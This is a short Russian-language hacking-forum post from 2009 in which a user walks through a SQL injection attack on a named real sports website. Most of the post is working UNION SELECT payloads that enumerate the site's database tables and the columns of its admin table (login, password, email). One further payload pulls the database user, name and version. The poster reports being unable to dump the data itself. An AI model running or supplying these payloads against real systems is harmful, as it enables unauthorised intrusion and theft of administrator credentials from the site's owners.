Показать сообщение отдельно

  #5  
Старый 05.05.2009, 15:21
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


По умолчанию

Код:
http://www.tosport.ru/detail_1247'.html
Код:
http://www.tosport.ru/detail_-1247.html/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/from/**/information_schema.tables--
C неё берём таблицу cizar_admin

смотрим её содержимое:

Код:
http://www.tosport.ru/detail_-1247.html/**/union/**/select/**/1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/from/**/information_schema.columns/**/where/**/table_name=0x63697a61725f61646d696e--
Код:
id,access,login,password,name,position,address,phone,email,description,pactive,menu_access
Дальше либо я туплю, либо...кароче вывод не получается

Данные бд:
Код:
http://www.tosport.ru/detail_-1247.html/**/union/**/select/**/1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
 
Ответить с цитированием